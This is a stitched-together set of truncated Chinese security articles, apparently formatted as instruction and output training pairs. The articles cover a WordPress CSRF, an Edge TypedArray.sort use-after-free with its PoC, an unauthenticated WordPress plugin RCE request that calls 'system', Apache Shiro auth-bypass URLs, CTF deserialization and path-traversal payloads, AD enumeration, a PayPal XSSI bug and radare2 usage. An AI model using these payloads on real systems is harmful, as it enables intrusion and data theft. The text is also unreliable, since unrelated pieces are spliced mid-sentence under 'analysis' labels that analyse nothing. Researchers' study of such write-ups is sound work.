如果我们直接请求 A 云 IP，然后改 Host 为 ***gzhongshangcheng.com 呢？
Bingo！聪明的你一定也想到了，这样做确实可以，是一样的。如下图所示：
A 云尝试完了，我们来试试某 B 云呢？
先正常请求一个部署 B 云的 CDN 服务的域名。
返回...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/jvVZlqdxNLhIB3N6IP4btw> **
### 概述
#### 1.1 前言
2019年3月13号，RIPS又放了一个WordPress的CSRF，与此同时WordPress官方也提交相应的Commit，算是一个比较新的洞。问题出在文章的评论上，其实是有防CSRF相应的wpnonce，熟悉wp的人肯定不会陌生wpnonce，这是wp的防御机制，
**动作** 和 **postid** 构成的 **token** ，用来验证 **reference**
，而且wordpress对标签的过滤机制比较严格的。白名单机制，列如a标签的名单为
看起来是比较严格的，基本带动作的标签不可能出现，插不进js。比较有趣是两个对评论的filter组合起来造成了，a标签中的属性逃逸。RIPS文章也说的比较简单，接下来看看具体的实现过程，其实存在利用条件的，RIPS也没有指出来，总结时详细说明。
#### 1.2 背景介绍
##### 1.2.1 漏洞描述
漏洞存在于5.1.1之前的WordPress版本中，可以使用默认设置进行利用。
根据其WordPress官方下载页面，超过33％的互联网网站正在使用WordPress。
文章评论是博客的核心功能并且默认情况下已启用，该漏洞会影响数百万个网站。
##### 1.2.2 受影响版本
WordPress <= 5.1.1
#### 1.3 测试环境
Kali 4.19.0 WordPress 5.1.1
### 0×02 漏洞实现过程
环境最新是5.1.1 昨天才官方刚commit的修复过程，算是比较新。既然是是CSRF，表单提交点在于每篇文章的评论处。`wp-comments-post.php:25, wp_handle_comment_submission(wp_unslash( $_POST
))`，进入`comment_handler` 函数 做了一些简单的赋值过程：
来看看上面对于用户身份判断的过程。评论需要用户为登录态。关键处：
其中判断用户能否不需要过滤html，到下面的判断提交comment过程中的wpnonce验证，若是没有通过身份验证会重新定义 **kses**
处理过程的中的filter，具体看一下`kses_init_filters`
这里为什么会重新删减filter，在前面初始化的过程中在 **init** 标签的注册了一个`kses_init()`
仅仅判断通过用户身份Session身份判断了，需不要添加过滤html的filter。管理员用户在操作的时候，即默认是没有插入对`pre_comment_content`的过滤html的钩子，但是在判断添加评论的时候又因为在想要的wpnonce验证不通过的时候，又添加上了相应的filter，官方还是考虑到了相应的安全问题，但是为什么又要加一层身份判断，添加不同的处理函数呢，直接插入`wp_filter_kses`不好吗？
正是因为`wp_filter_kses` 和`wp_filter_post_kses` 不同上造成了后面的js执行
他们的不同在于过滤的严格度上，其实都一样是白名单过滤。 但是跟`pre_comment_content`的钩子函数组合起来，就发送了属性逃逸。
看一下这个两个函数的定义。
传入的第二参数不同，决定了后面允许使用的标签和属性的白名单不同。影响第二个钩子函数。即使这里addslashes转义了字符内容，紧接着下一个钩子涉及到对属性的处理，会恢复被转义字符内容。
`pre_comment_content` 标签的钩子有默认的4个钩子(我习惯叫钩子函数)，分别是 `convert_invalid_entities`
，`wp_targeted_link_rel`，`wp_rel_nofollow`，balance
根据优先级排序。第一个把&#128及以后的实体转成相应的合法的unicode实体，第二个处理a标签 中 **target**
属性的，第三个是重点了两个重要钩子中的第二个，给a标签添加 _rel_
属性为nofollow，如果存在rel属性则在其属性值中添加nofollow，并去掉原来的 _rel_ 属性值，其过程会重新拼接a标签。
`wp_rel_nofollow` 钩子在`pre_comment_content`中优先级为15，当插入 `wp_filter_post_kses`
钩子时使用的默认值是10，在wp中执行钩子时会有优先级判断，刚好`wp_filter_post_kses`也在前，所以也不涉及到对后面溢出的属性重新处理。
前面说了`wp_filter_post_kses` 和...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【漏洞分析】MS16-145：Edge浏览器TypedArray.sort UAF漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：quarkslab.com
原文地址：<http://blog.quarkslab.com/exploiting-ms16-145-ms-edge-typedarraysort-use-after-free-cve-2016-7288.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：300RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
**在这篇文章中，我们将为读者详细分析如何利用MS Edge浏览器中的UAF漏洞来远程执行代码。**
本文将为读者深入分析影响MS Edge的CVE-2016-7288
UAF漏洞的根本原因，以及如何可靠地触发该UAF漏洞，如何用一种精确地方法来左右Quicksort从而控制交换操作并破坏内存，获得相对内存读/写原语，然后在WebGL的帮助下将其转换为绝对R
/ W原语，最后使用伪造的面向对象编程（COOP）技术来绕过控制流保护措施。
**分析注解**
本文是在Windows 10 Anniversary Update x64上使用下列版本的MS Edge执行分析工作的。
存在安全漏洞的模块：chakra.dll 11.0.14393.0
**简介**
Google Project Zero已经公布了此漏洞的概念证明[
**[3]**](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=257597)，据称这是一个影响JavaScript的TypedArray.sort方法的UAF漏洞。
下面是公布在Project Zero的bug跟踪器中的原始PoC：
    <html><body><script>
    var buf = new ArrayBuffer( 0x10010);
    var numbers = new Uint8Array(buf);
    var first = 0;
    function v(){
      alert("in v");
      if( first == 0){
           postMessage("test", "http://127.0.0.1", [buf])
        first++;
        }
       return 7;
    }
    function compareNumbers(a, b) {
      alert("in func");
      return {valueOf : v};
    }
    try{
        numbers.sort(compareNumbers);
    }catch(e){
        alert(e.message);
    }
    </script></body></html>
值得注意的是，在我的测试过程中，这个PoC根本没有触发这个漏洞。
**该漏洞的根本原因**
根据Mozilla关于TypedArray.sort方法的文档[4]的介绍，“sort（）方法用于对类型化数组的元素进行排序，并返回类型化的数组”。这个方法有一个名为compareFunction的可选参数，该参数“指定定义排序顺序的函数”。
    JavaScript TypedArray.sort方法的对应的原生方法是chakra！TypedArrayBase :: EntrySort，它是在lib / Runtime / Library / TypedArray.cpp中定义的。
    Var TypedArrayBase::EntrySort(RecyclableObject* function, CallInfo callInfo, ...){
        [...]
        // Get the elements comparison function for the type of this TypedArray
        void* elementCompare = reinterpret_cast<void*>(typedArrayBase->GetCompareElementsFunction());
        // Cast com...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# BPF之路一bpf系统调用

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
BPF是内核中的顶级模块, 十分精妙, 相关书籍有限, 而且还都是从应用的视角看待BPF的, 我想写一系列文章, 从一个安全研究员的视角观察BPF,
以帮助更多的人学习和研究
linux内核观测技术一书中, 利用源码树中已有的包裹函数作为入门的例子, 层层包装导致编译时依赖繁多, 代码复杂无法一眼看到底层, 不是很友好
我们先明确: **用户空间所有的BPF相关函数, 归根结底都是对于bpf系统调用的包装** , 我们完全可以跳过这些包裹函数, 手写bpf相关系统调用
最好的学习资料永远是man, 我翻译了manual中关于bpf系统调用的部分, 如下
## 系统调用声明
  * bpf – 在扩展BPF映射或者程序上执行命令
    #include <linux/bpf.h>
    int bpf(int cmd, union bpf_attr *attr, unsigned int size);
  * 此函数其实在`linux/bpf.h`中没有定义, 需要手动定义, 其实就是对于系统调用的包裹函数
    int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
    {
        return syscall(__NR_bpf, cmd, attr, size);
    }
## 描述
`bpf()`系统调用会执行一系列exBPF相关的操作, eBPF类似于classic BPF(cBPF), 也用于进行网络包的过滤.
对于cBPF与eBPF内核都会在加载前进行静态分析, 以确保安全性
eBPF是cBPF的扩展, 包括调用一些固定的内核帮助函数(通过eBPF提供的BPF_CALL 操作码扩展), 并能访问一些共享数据结构, 如eBPF
maps
## eBPF设计架构
eBPF映射是为了保存多类型数据的通用数据结构. 数据类型都被是为二进制的, 所以用户在创建映射时只需要指明key和value的大小, 换而言之,
一个映射的key或者value可以是任意类型的数据
用户进程可以创建多个映射(用键值对是数据不透明的字节) 并且通过文件描述符fd访问. 不同的eBPF程序可以并行访问相同的映射.
映射里面保存什么取决于用户进程和eBPF程序
有一个特殊的映射类型, 称之为程序数组(program-array). 这个类型的映射保存引用其他eBPF进程的文件描述符. 在这个映射中进行查找时,
程序执行流会被就地重定位到另一个eBPF程序的开头, 并且不会返回到调用程序.嵌套最多32层 因此不会出现无限的套娃. 在运行时,
程序的文件描述符保存在一个可以修改的映射中, 因此程序可以进入某种要求有目的的改变. 程序数组映射中引用的程序都必须事先通过`bpf()`加载到内核中.
如果映射查找失败, 当前程序会继续执行
大体上, eBPF程序都是被用户进程加载, 并在进程退出时自动卸载的. 有些特殊的情况, 如`tc-bpf()`, 就算加载BPF程序的进程退出了,
BPF程序还会驻留在内核中. 在这个例子中, BPF程序的文件描述符被进程关闭后, 由tc子系统保持对BPF程序的引用.
因此一个BPF程序是否在内核中存活取决于 通过bpf()载入内核后如何进一步附加在别的子系统上
每一个eBPF程序都是结束前可以安全执行的指令集合. 内核中一个验证器会静态的检查一个BPF程序是否会终止, 是否安全. 在验证期间,
内核会增加这个eBPF程序使用的所有映射的引用计数, 因此附加的映射不能被移除, 直到程序被卸载
eBPF程序可以附加在各种事件上. 这些事件可以是网络数据包的到达, 追踪时间, 根据网络队列规则的分类事件, 以及未来会被加上的其他事件.
一个新事件会触发eBPF程序的执行, 也可能在eBPF映射中保存事件相关的信息. 除了保存数据, eBPF程序还可能调用一些固定的内核帮助函数集合
同一个eBPF程序可以附加到多个事件, 并且不同的eBPF程序可以访问同一个映射, 示意图如下
    tracing     tracing    tracing    packet      packet     packet
    event A     event B    event C    on eth0     on eth1    on eth2
    |             |         |          |           |          ^
    |           ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Windows内网协议学习LDAP篇之域用户和计算机用户介绍
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：daiker@360RedTeam
## 0x00 前言
这篇文章主要介绍AD里面的域用户，计算机用户。
## 0x01 域用户
### 1\. 查询域用户
当我们拥有一个域用户的时候，想要枚举域内的所有用户，主要有两个方法。
(1) 通过SAMR 协议查询
samr 也不算是一种专门的协议，就是一个RPC接口(这里简单地提一下。后面在RPC篇里面详细介绍这个RPC接口)
我们平时使用的net user /domain就是使用samr 进行查询的。
在impacket 里面有一个脚本samrdump.py就是专门调用samr 去查询域用户的。
(2) 通过Ldap 语法查询
域用户存储于活动目录数据库里面，对其他用户可见。可以通过Ldap 去查询。
过滤语法如下
    (&(objectCategory=person)(objectClass=user))
### 2\. 域用户部分属性介绍
  * ● 相关的用户名
这些属性在LDAP 里面都可以查看
（1）姓对应的属性就是sn
（2） 名对应的属性是giveName
（3）展示名，对应的属性是displayName。
值得注意的是，displayName不能用于登陆，虽然跟域用户名往往一样。但是这个不是直接用于登陆的我们登陆用的账号，在一些公司里面，displayName往往是中文，登陆的用户名是拼音。登陆的格式有以下两种格式。
（4）第一种格式是UserPrincipalName，我们简称为UPN，一般的格式是用户名@域名这样的格式。
比如这里就是lisi@test.local
（5） 第二种格式是域名\sAMAccountName这种格式
比如这里就是test.local\lisi，这里的域名可以是netbios名，也可以是dns 名。
  * ● 用户相关的一些时间
    * · whenCreated
    * · pwdLastSet
    * · Lastlogon
看名字就可以大约猜出这些字段的含义了。账号创建时间，设置密码时间，上次登录时间，这些属性任意域用户都可以看的到。
只是这个并不直观，adfind 提供了转化。
这样更直观一点
值得注意的是Lastlogon这个属性值在不同的域控制器上是不会同步的。所以要查询一个用户的最后登录时间，得指定不同的域控制器来查询。
  * ● userAccountControl
在上一篇，讲位操作的时候有简单提及到这个userAccountControl，其实这个属性至关重要。在整个系列文章里面反复提及。userAccountControl对应的位如下。
我们可以利用ldap的位操作(关于Ldap的位操作见[Windows内网协议学习LDAP篇之组和OU介绍](https://www.anquanke.com/post/id/195737))来一个个过滤。
比如，我们想查询查询密码永不过期的用户。
又比如，我们想查询设置了约束委派的用户。
又比如，我们想查询域内设置了对委派敏感的用户。
等等等。大家可以查表，然后更改对应的十进制值来过滤。
## 0x02 机器用户
默认情况底下，加入域的机器默认在CN=Computer这个容器里面，域控默认在Domain
Controllers这个OU里面。有些域内会通过redircmp进行修改
### 1\. 机器用户跟system 用户的关系
考虑到这样一个场景，如果拿到一台域内机器，然后发现没有域内用户。 这个时候有很多人用mimikatz 抓一下，没抓到域用户，就束手无策了。
我们随便点开一台Domain Computer，这里以WIN7这台机子做为测试。
我们看他的对象类。
发现他是computer 类的实例。
而computer 类的user
类的子类。域用户是user类的实例。之前我们说过类是属性的集合。子类继承了父类的所有属性，因此域用户该有的属性，计算用户都有，甚至我们可以说，机器用户就是一种域用户。
那回到之前的那个问题，如果拿到一台域内机器，然后发现没有域内用户的情况。我们上面说了，机器用户其实就是一个域用户，那我们怎么使用这个机器用户呢。其实本地用户SYSTEM就对应于域内的机器用户，在域内的用户名就是机器名+$,比如win7，他的机器名是WIN7，那他在域内的登录名就是win7$,关于sAMAccountName我们在上一小节已经讲了。
所以我们可以将当前用户提到system(非管理员需要配合提权漏洞，管理员组的非administrators需要bypassuac，administrator提到s...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# WordPress组合插件远程代码执行漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 蔡思阳
译文仅供参考，具体内容表达以及含义原文为准。
作者：[蔡思阳@360天眼实验室](http://bobao.360.cn/member/contribute?uid=2794533901)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 0x00 漏洞概述
在前段时间，WordPress修复了两个插件的漏洞–Shortcodes Ultimate和formidable forms，其中Shortcodes
Ultimate的下载量在70W+，而formidable forms的下载量在20W+,影响的范围比较广泛。
这个漏洞主要是由formidable
forms引起的，该插件无需任何权限便可预览表单，然而对上传的html代码没有做任何检验，所以导致了包括xss和shortcode执行等在内的一系列问题。而Shortcodes
Ultimate可以自定义shortcode，两者结合就可以造成严重的远程代码执行漏洞，而且无需任何权限。
## 0x01 漏洞分析
利用条件：
插件: **Shortcodes Ultimate <=5.0.0**
插件: **formidable forms <= 2.0.5.1**
我们的分析思路从文后附录的POC开始。
    POST /wp-admin/admin-ajax.php HTTP/1.1
    action=frm_forms_preview&form={‘asdf-asdf’}&before_html=[su_meta key=1 post_id=1 default= [su_meta key=1 post_id=1 default='echo 1 > wp_rce.txt' filter='system']&custom_style=1
action=frm_forms_preview
tips：
WordPress插件的执行流程：
申明一个add_action，将tag绑定一个函数，类似于route
然后通过do_action或者ajax来调用
所以从action=frm_forms_preview来入手，搜索frm_forms_preview
在FrmHooksController.php中的load_ajax_hooks函数
    add_action( 'wp_ajax_frm_forms_preview', 'FrmFormsController::preview' );
    add_action( 'wp_ajax_nopriv_frm_forms_preview', 'FrmFormsController::preview' );
可以看出，frm_forms_preview动作绑定在preview函数上
    public static function preview() {
    do_action( 'frm_wp' );
    global $frm_vars;
    $frm_vars['preview'] = true;
    if ( ! defined( 'ABSPATH' ) && ! defined( 'XMLRPC_REQUEST' ) ) {
    global $wp;
    $root = dirname( dirname( dirname( dirname( __FILE__ ) ) ) );
    include_once( $root . '/wp-config.php' );
    $wp->init();
    $wp->register_globals();
    }
    header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
    $key = FrmAppHelper::simple_get( 'form', 'sanitize_title' );
    if ( $key == '' ) {
    $key = FrmAppHelper::get_post_param( 'form', '', 'sanitize_title' );
    }
    $form = FrmForm::getAll( array( 'form_key' => $key ), '', 1 );
    if ( empty( $form ) ) {
    $form = FrmForm::getAll( array(), '', 1 );
    }
   ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Apache Shiro 两种姿势绕过认证分析（CVE-2020-17523）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：jweny[@360](https://github.com/360 "@360")云安全
## 0x01 漏洞描述
Apache
Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API，您可以快速、轻松地获得任何应用程序，从最小的移动应用程序到最大的网络和企业应用程序。
当它和 Spring 结合使用时，在一定权限匹配规则下，攻击者可通过构造特殊的 HTTP 请求包完成身份认证绕过。
影响范围：Apache Shiro < 1.7.1
## 0x02 漏洞环境搭建
shiro 1.7.0
<https://github.com/jweny/shiro-cve-2020-17523> 两种姿势的漏洞环境均已更新。
## 0x03 poc测试
**姿势一：**
<http://127.0.0.1:8080/admin/%20> 或 <http://127.0.0.1:8080/admin/%20/>
使用空格等空字符，可绕过shiro身份验证。
**姿势二：**
经过和p0desta师傅交流，发现还有另一种特殊场景下的利用方式。
<http://127.0.0.1:8080/admin/%2e> 或 <http://127.0.0.1:8080/admin/%2e/>
但是`.`（还有`/`）在Spring的路径匹配的规则中是代表路径分隔符的，不作为普通字符进行匹配。因此在默认条件下访问 `/admin/.`会返回404。
但是在开启全路径的场景下`setAlwaysUseFullPath(true)`是可以正常匹配的。
## 0x04 漏洞分析
Shiro中对于URL的获取及匹配在`org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain`
先简单看下这个`getChain`方法：
该方法先检查requestURI是否以`/`结尾，如果是，就删掉最后一个`/`。
然后在匹配路径的循环中，会先判断下路径规则pathPattern是否以`/`结尾，如果是也会删除。然后再去调用`pathMatches()`方法进行路径匹配。
**因此两种利用方式中，是否以`/`结尾都没有关系，因为开始经过`getChain`方法就会被删除。**
###  4.1 空格绕过分析
关注下`pathMatches()`方法：
调出Evaluate，分别计算一下`pathMatches（"/admin/*","/admin/1"）`和`pathMatches（"/admin/*","/admin/
"）`，前者正常匹配，后者匹配失败。
开始调试，调试开始会经过一阵漫长的F7。一直到`doMatch("/admin/*","/admin/
")`。可见，`tokenizeToStringArray`返回的pathDirs已经没有第二层路径了。因此会导致`/admin/*`和`/admin`不匹配。
跟一下`tokenizeToStringArray`方法，发现其调用`tokenizeToStringArray`方法时的`trimTokens`参数为true。
而`tokenizeToStringArray`方法，在参数`trimTokens`为true时，会经过`trim()`处理，因此导致空格被清除。再次返回`getChain`时最后一个`/`被删除。因此`tokenizeToStringArray`返回的pathDirs没有第二层路径。
总结一下：存在漏洞的shiro版本，由于调用`tokenizeToStringArray`方法时，`trimTokens`参数默认为true，空格会经过`trim()`处理，因此导致空格被清除。再次返回`getChain`时最后一个`/`被删除，所以`/admin`与`/admin/*`匹配失败，导致鉴权绕过。而Spring接受到的访问路径为`/admin/%20`，按照正常逻辑返回响应，因此导致权限被绕过。
###  4.2 /./绕过分析
看到第二种姿势的`/.`和`/./`，是不是想起了某个熟悉方法？没错，就是`normalize()`。
简单翻译下就是：
条件 | 示例
---|---
正斜杠处理成反斜杠 | \ -> /
双反斜杠处理成反斜杠 | // -> /
以/.或者/..结尾，则在结尾添加/ | /. -> /./ /.. -> /../
归一化处理/./ | /./...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 第二届网鼎杯（青龙组）部分wp

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**记录下第二届网鼎杯青龙组的部分wp**
## AreUSerialz
比较简单的一道反序列化题。
因为类中有protected属性，所以要先绕过is_valid
    function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
    if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
    return false;
    return true;
    }
因为php7.1+对类属性的检测不严格，所以这里可以直接用public来写payload.
接着我们要读取文件，得让$op为2，这里利用php的弱比较，直接让$op=2绕过。
然后就是题目只能通过绝对路径来读取文件，这里有三种解法：
第一种应该是非预期，将content属性改为private可以通过相对路径读到flag.php
    <?php
    class FileHandler {
        public $op=2;
    public $filename="flag.php";
    private $content;
    }
    $a=new FileHandler;
    echo (serialize($a));
    ?>
第二种是通过网站的报错，查看docker的web路径。
第三者是读取当前进程的cmdline
    <?php
    class FileHandler {
        public $op=2;
    public $filename="/proc/self/cmdline";
    public $content;
    }
    $a=new FileHandler;
    echo (serialize($a));
    ?>
最后通过绝对路径读flag
    <?php
    class FileHandler {
        public $op=2;
    public $filename="/web/html/flag.php";
    public $content;
    }
    $a=new FileHandler;
    echo (serialize($a));
    ?>
## filejava
一个简单的Servlet上传和下载功能。在下载功能处存在任意文件下载。
通过报错来获得网站的绝对路径
然后java题，一般是读取web.xml
然后根据web.xml读取class文件。规律是将包名换成路径，然后在/WEB-INF/classes/下。比如这里读取UploadServlet
    /file_in_java/DownloadServlet?filename=../../../../../../.././../../..//usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
将所有的class文件下载下来之后，进行反编译，然后审计代码。
一共三个servlet,大概就是列出目录下的文件，下载文件，还有就是上传文件。
这里还限制了直接读取flag.
继续审计，发现这里会对xlxs文件进行处理，可能存在xxe漏洞。
参靠文章 <https://xz.aliyun.com/t/7272#toc-9>
结合 xxe外带出flag
这里记得文件名前面要加excel-
## notes
nodejs题，可以直接下载源码审计
首先来看下undefsafe库
题目的本意是用来改变列表中属性的值。这里存在原型链污染漏洞。
接着在源码中寻找原型污染利用的地方，发现
    app.route('/status')
    .get(function(req, res) {
    let commands = {
    "script-1": "uptime",
    "script-2": "free -m"
    };
    for (let index in commands) {
    exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
    if (err) {
    return;
    }
    console.log(`stdout: ${...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

这是内核漏洞挖掘技术系列的第九篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
第六篇：[内核漏洞挖掘技术系列(4)——syzkaller(2)](https://xz.aliyun.com/t/5098
"内核漏洞挖掘技术系列\(4\)——syzkaller\(2\)")
第七篇：[内核漏洞挖掘技术系列(4)——syzkaller(3)](https://xz.aliyun.com/t/5154
"内核漏洞挖掘技术系列\(4\)——syzkaller\(3\)")
第八篇：[内核漏洞挖掘技术系列(4)——syzkaller(4)](https://xz.aliyun.com/t/5223
"内核漏洞挖掘技术系列\(4\)——syzkaller\(4\)")
在上一篇文章中我们主要分析了一遍进行fuzz的流程，一直追踪到了系统调用的执行。这一篇文章我们主要介绍Generate和Mutate的具体实现。回到loop函数中，我们接下来看看Generate和Mutate的部分。Generate函数随机生成含有ncalls个系统调用的程序。
跟进generateCall函数，r.target.Syscalls是RegisterTarget函数初始化的。如果有ChoiceTable调用上一篇文章说过的Choose函数选择一个，然后调用generateParticularCall函数继续根据系统调用号生成具体的系统调用类型。
依次调用了generateParticularCall->generateArgs->generateArg->generateArgImpl，generateArgImpl函数只是生成了参数本身而并没有生成具体的内容，后续调用不同的generate函数进行不同的处理。
比如对于指针类型，随机生成一个特殊的值或者正常的值。
这里的特殊值可能是0x0000000000000000这样的空指针，0xffffffffffffffff这样没有映射到的内核地址或者是0x9999999999999999这样不规范的地址。
对于数组类型，根据数组长度是否有指定的范围随机生成数组的长度，再根据数组的类型调用对应的generateArg函数生成每个元素的值。
Generate的部分分析完成之后我们来接着分析Mutate的部分。Mutate部分会随机选择下面几种变异类型。
squashAny函数对参数进行压缩，因为能够压缩参数的情况比较少，所以可能性是最低的。test中的例子如下。
之前：
    `foo$any0(&(0x7f0000000000)={0x11,0x11223344,0x2233,0x1122334455667788,{0x1,0x7,0x1,0x1,0x1bc,0x4},[{0x0,@res32=0x0,0x0,@i8=0x44,"aabb"},{0x0,@res64=0x1,0x0,@i32=0x11223344,"1122334455667788"}]})`,
之后：
    `foo$any0(&(0x7f0000000000)=ANY=[@ANYBLOB="1100000044332211223300000000000088776655443322113d0079230000000000000000",@ANYRES32=0x0,@ANYBLOB="00000000000000000000000044aabb000000000000000000",@ANYRES64=0x1,@ANYBLOB="000000...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# $15,300赏金计划之Paypal密码暴露
|
|
##### 译文声明
本文是翻译文章，文章原作者 alex.birsan，文章来源：medium.com
原文地址：<https://medium.com/@alex.birsan/the-bug-that-exposed-your-paypal-password-539fc2896da9>
译文仅供参考，具体内容表达以及含义原文为准。
在寻找安全漏洞时，对未知资产和隐蔽站点的搜集通常最终会让人舍本逐末。
如果您对一个目标进行安全测试，就像第一次对它执行安全评估一样细致，彻底检查所有内容，那么我相信您一定会找到新的东西：尤其是如果要测试的代码已经持续开发了一段时间。
这是一个关于高危漏洞的故事，该漏洞会影响PayPal访问量最大的页面之一：登录表单。（最后被奖励了$15300美金）
## 初步发现
在浏览PayPal的主要身份验证流程时，我注意到一个javascript文件，其中似乎包含了一个CSRF令牌和会话ID的内容：
这立即引起了我的注意，因为在一个有效的javascript文件中提供任何类型的会话数据的话，通常都给攻击者可趁之机。
在所谓的跨站点脚本包含（XSSI）攻击中，恶意网页可以使用HTML `<script>`标签导入跨域脚本，从而使其能够访问文件中包含的任何数据。
果然，我很快就测试确认了该XSSI漏洞，尽管它使用了JavaScript混淆器来随机化每个请求的变量名，但有趣的是，令牌仍被放置在十分容易查找的位置，一下子就被找到了。
然而，水可载舟亦可覆舟，要看该信息如何利用了。我立即着手找出`_csrf`和`_sessionID`的确切含义，以及它们是否可以真正用于实际攻击中。
## 进一步挖掘
我尝试将PayPal平台上已授权请求中的常规CSRF令牌替换为`_csrf`的值，经过无数次的尝试后，我得出的结论是，使用此特定令牌无法进行经典的跨站点请求伪造攻击。同样，`_sessionID`也不行。
接下来，我返回该漏洞脚本，查看该令牌的的实际用途，最后对PayPal用来防止暴力攻击（安全挑战）的一个主要保护机制进行了深入研究。虽然此机制已被广泛使用，但我将重点介绍此登录表单。
这个想法很简单：几次尝试登录失败后，您需要先解决reCAPTCHA挑战，然后才能重试。但是，这个挑战就很有搞头了。
它的机制是这样的：在检测到可能的暴力破解尝试后，下一次身份验证尝试的响应将是一个页面，其中仅包含Google验证码。如果用户通过了验证码测试，会向`/auth/validatecaptcha`发起一个HTTP
POST请求。
在请求主体中又看到了`_csrf`和`_sessionID`熟悉的身影，主体中还有其他两个值，稍后会介绍。
对验证码请求的响应旨在将用户重新引入身份验证流程。为此，它包含一个自我提交的表单，其中包含用户最新登录请求提供的所有数据，
**包括他们的电子邮件和纯文本密码。**
我意识到，通过正确的时序和一些用户交互，只要知道此请求中使用的所有令牌，就足以获取受害者的PayPal凭据。在实际攻击场景中，唯一需要的用户交互就是访问一下攻击者控制的网页。
因此，我回过头来尝试找出缺少的参数。这比预期的容易：
  1. `jse`的值完全未经验证。
  2. `recaptcha`是Google在解决reCAPTCHA挑战时提供的令牌。它并未绑定到特定的会话中，因此任何有效的令牌都可以被接受（例如，来自自动求解服务的令牌）。
## Exploitation
综上所述，我创建了一个整个过程的POC（除了集成验证码解决方案服务外）。
首先，POC将利用最初的XSSI漏洞来获取一组在受害者会话中有效的令牌。然后，受害人的浏览器发出带有随机凭据的一些身份验证请求，模拟尝试暴力破解，这个过程将触发安全挑战流程。
一旦受害者使用相同的浏览器登录PayPal，缓存的随机凭证将被用户自己的电子邮件和密码替换。最后一步是获取一个新的`reCAPTCHA`令牌，此后，纯文本凭据会通过服务器端的请求被发送到`/auth/validatecaptcha`页面，并显示在页面上。
被马赛克掉的就是用户的电子邮件和明文密码
后来我发现，在某些未经身份验证的结帐页面上也使用了相同的漏洞验证，从而允许使用相同的技术泄漏纯文本信用卡数据。
## 后记
POC以及相关信息已于2019年11月18日提交到PayPal的漏洞赏金计划，18天后HackerOne也通过了验证。
在paypal团队迅速确认并提出一些其他问题之后，我于12月10日获得了15300美元的奖金。奖励金额对应于bug的8.0级（高）CVSS分数，这与我在提交报告时最初建议的分数相同。
## 修复和预防建议
给`/auth/va...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 前言
`radare2` 最近越来越流行，已经进入 `github` 前 25了，看到大佬们纷纷推荐，为了紧跟时代潮流，我也决定探究探究这款 `神器`
。下面画画重点，以便以后需要用了，可以方便查找。
### 正文
首先是安装 `radare2` ,直接去官方 `github` 安照指示安装即可。先把源代码下载下来
    https://github.com/radare/radare2
然后进入源码目录，执行
    sys/install.sh
`radare2` 支持各种各样的平台，文件格式，具体可以看官网描述。它有很多各组件分别进行不同的工作。这些组件是：
  * rax2 ---------> 用于数值转换
  * rasm2 -------> 反汇编和汇编
  * rabin2 -------> 查看文件格式
  * radiff2 ------> 对文件进行 diff
  * ragg2/ragg2cc ------> 用于更方便的生成shellcode
  * rahash2 ------> 各种密码算法， hash算法
  * radare2 ------> 整合了上面的工具
### rax2
数值转换，程序的 `help` 菜单很明确了:
比如输入`rax2 -s 414141` ,会返回 `AAAA`
### rabin2
对各种文件格式进行解析。
`rabin2 -I hello_pwn` 显示文件的信息
使用 `-l` 显示依赖库。
使用 `-zz` 显示字符串信息，可以显示 `utf-8` 等宽字节字符串。
可以看到显示了长度，所在位置等信息。
通过使用 `-O` 选项可以修改一些文件的信息。
    haclh@ubuntu:~$ rabin2 -O?
    Operation string:
      Change Entrypoint: e/0x8048000
      Dump Symbols: d/s/1024
      Dump Section: d/S/.text
      Resize Section: r/.data/1024
      Remove RPATH: R
      Add Library: a/l/libfoo.dylib
      Change Permissions: p/.data/rwx
      Show LDID entitlements: C
比如修改 `section` 的属性
    haclh@ubuntu:~$ rabin2 -S a.out | grep text
